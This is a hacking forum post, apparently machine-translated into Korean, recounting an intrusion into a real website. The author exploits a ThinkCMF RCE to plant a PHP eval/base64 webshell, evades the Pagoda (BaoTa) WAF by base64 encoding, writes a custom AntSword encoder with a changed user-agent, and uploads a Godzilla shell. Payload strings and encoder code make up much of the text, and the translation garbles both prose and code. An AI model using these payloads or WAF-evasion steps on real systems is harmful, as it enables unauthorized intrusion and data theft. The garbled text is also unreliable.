KoreanHackerTeam
Moderator
0x00 信息收集
메인 사이트에는 클라우드 WAF가 있으므로 테스트하자마자 차단되며 예비 테스트에서 사용할 수있는 구멍이 없으므로 하위 사이트로 전환하여 하위 사이트를 통해 귀중한 정보를 얻기를 희망합니다.
이 사이트는 프록시 계정을 쿼리하는 사이트입니다. URL 입력 관리자가 자동으로 백그라운드로 이동합니다.

이 매개 변수를보고 ThinkCMF라고 생각합니다.
0x01 getshell
ThinkCMF에는 RCE가 있습니다. 당신은 그것을 시도 할 수 있습니다?
흰색 화면은 좋은 신호입니다. 성공해야합니다.
방문하다

Ang Sword 연결을 시도하고 직접 오류를보고하십시오. 나는 방화벽을 만났을 것 같아요

그런 다음 돌아와서 쉘을 수동으로 phpinfo를 시도하십시오.

물론, Pagoda 방화벽이 있습니다
0x02 绕过宝塔防火墙
Pagoda는 일부 기능을 필터링해야하므로 페이로드를 직접 전달할 수는 없으므로 트래픽을 난독 화해야합니다.모든 페이로드 Base64 인코딩을 전송하십시오
코딩 된 Base64가 전달되므로 Xiao Ma도 그에 따라 변경해야합니다. 전달 된 Base64를 한 번만 해독합니다.
조랑말은 다음과 같습니다.
? php @eval (base64_decode ($ _ post [zero]);
cghwaw5mbygpow==로 phpinfo (); base64 인코딩
보내다

Pagoda 방화벽이 더 이상 가로 채지 않았으며 Pagoda 방화벽을 성공적으로 우회했음을 알 수 있습니다.
0x03 改造蚁剑
우리는 Base64 인코딩을 사용하지만 Ang Sword는 실제로 자체 Base64 인코딩 및 디코더와 함께 제공됩니다.포함 된 Base64 인코더를 직접 사용하십시오

왜 이런 일이 일어나고 있습니까?
우리는 Ang Sword의 흐름을 분석하려고 노력합니다.
버프에 프록시를 설정하십시오

트래픽을 가로 채립니다

우리는 Waf가 쉽게 인식하는 두 곳이 있음을 알 수 있습니다.
하나는 다음과 같습니다. 사용자 에이전트 헤더의 키워드 : antsword/v2.1 이것은 Waf에게 내가 누구인지 알려주는 것과 같습니다. 그래서 이것이 첫 번째로 변경되었습니다.
둘째, Ang Sword의 트래픽에는 실제로 키워드가 있습니다. 예를 들어, CMD 매개 변수의 후 평가베이스 64_decode는 모두이며, 조랑말에는 Base64 암호 해독이 제공되므로 기본 인코더를 사용하면 WAF를 통과 할 수 없을뿐만 아니라 WAF가 없어도 조랑말에 연결할 수 없으므로 직접 인코더를 정의해야합니다.
새 PHP 인코더를 만듭니다

PayloadBase64를 한 번만 인코딩하면되므로 데이터 할당을 직접 처리 할 수 있습니다 [ '_'] Base64. 임의의 매개 변수가 있는지 여부는 중요하지 않습니다.
인코더는 다음과 같습니다
'엄격한 사용';
/*
* @param {string} pwd 연결 암호
* @param {array} 인코더 처리 전에 데이터 페이로드 배열
* @return {array} 데이터 인코더가 처리 한 페이로드 어레이
*/
module.exports=(pwd, data, ext={})={
데이터 [pwd]=buffer.from (data [ '_']). tostring ( 'base64');
데이터 삭제 [ '_'];
반환 데이터;
}
그런 다음 UA 헤더를 수정하십시오

인코더 적용 디코더는 기본적으로 지정할 필요가 없습니다.
스팸 데이터와 멀티 파트 패킷을 추가하도록 선택하는 것이 좋습니다.

연결을 다시 테스트하십시오


그런 다음 디렉토리를 클릭하고 여전히 문제가 있음을 찾으십시오. 디렉토리를 건너지 못합니다. 이 문제는 실제로 고질라가 해결할 수 있습니다. 고질라 말을 업로드하십시오.
누군가가 여기서 물어 보면 Godzilla Horse를 직접 업로드 할 수 있습니까? 실제 상황은 Get 매개 변수 전송에 대한 길이 제한이 있으며 일부 기호로 인해 PHP 파일의 잘림이 업로드되지 않아도됩니다.

웹 사이트가 많이 있지만 주요 사이트가 없다는 것은 유감입니다. 데이터베이스에는 많은 프록시 계정 만 있습니다. 시간 낭비입니다

0x03 总结
1. BC의 대상 기본 사이트에 액세스 할 때 악용 가능한 취약점이 없습니다. 하위 사이트에 액세스하고 관리 디렉토리를 입력하면 백그라운드로 이동하십시오. 2. CMS 지문 쿼리를 통해 하위 사이트는 ThinkCMF 프레임 워크 3입니다. RCE를 실행하여 문장을 작성하여 http://www.xxx.com/?a=FetchTemplateFile=public/indexpRefix='Content=File_PUT_CONTENTS(POST1.PHP ',') 액세스 주소 http://www.xxx.com/test1.php는 공백을 보여줍니다. 5. Ang Sword 연결을 시도하고 직접 오류를보고하고 Post 명령을 실행 한 다음 Pagoda 방화벽에 http://www.xxx.com/test1.phppost:zero=phpinfo();6이 표시됨을 찾으십시오. 여기에 RCE는 문장 Base64 Encryptionhttp://www.xxx.com/?a=FetchTemPlateFile=public/indexpRefix='Content=File_Put_Contents (locpp', '?php @eval (Base64_decode ($ _ post]) 7. phpinfo (); base64로 cghwaw5mbygpow==로 http://www.xxx.com/test2.phppost:zero=cghwaw5mbygpow==7 Pagoda Firewall에 대한 정상적인 액세스를 요청합니다. Pagoda Firewall은 Ant Sword의 사용자에 대한 사용자 용기를 가로 채겠습니다. 매개 변수. 하나는 : 사용자 에이전트 헤더의 키워드 : Antsword/v2.1입니다. 이것은 내가 누구인지 Waf에게 말하는 것과 같습니다. 그래서 이것은 첫 번째 요점입니다. 둘째, Ang Sword의 트래픽은 실제로 키워드입니다. 예를 들어, CMD 매개 변수의 Eval Base64_Decode는 모두이며, 우리의 작은 말은 Base64 암호 해독 8과 함께 제공되며, 이는 기본 Base64 인코더 '사용 Strict'를 변환합니다./** @param {string} pwd connection password* @param {array} 인코더 처리 전에 데이터 페이로드 배열* @reray {array} 데이터 페이로드 배열이 인코더 처리 후*/module.exports=(pwd, data, ext={})={
데이터 [pwd]=buffer.from (data [ '_']). tostring ( 'base64');
데이터 삭제 [ '_'];
반환 데이터;} 9. ANT Sword 사용자 -agentVaule:의 요청 정보에서 UA 헤더 이름 :을 수정하십시오. 디렉토리를 클릭하여 여전히 액세스하지 마십시오. 12. 동일한 방법이 Godzilla의 기본 Base64 인코더를로드하고 리모델링하는 데 사용됩니다.
원본 링크 : https://xz.aliyun.com/t/9295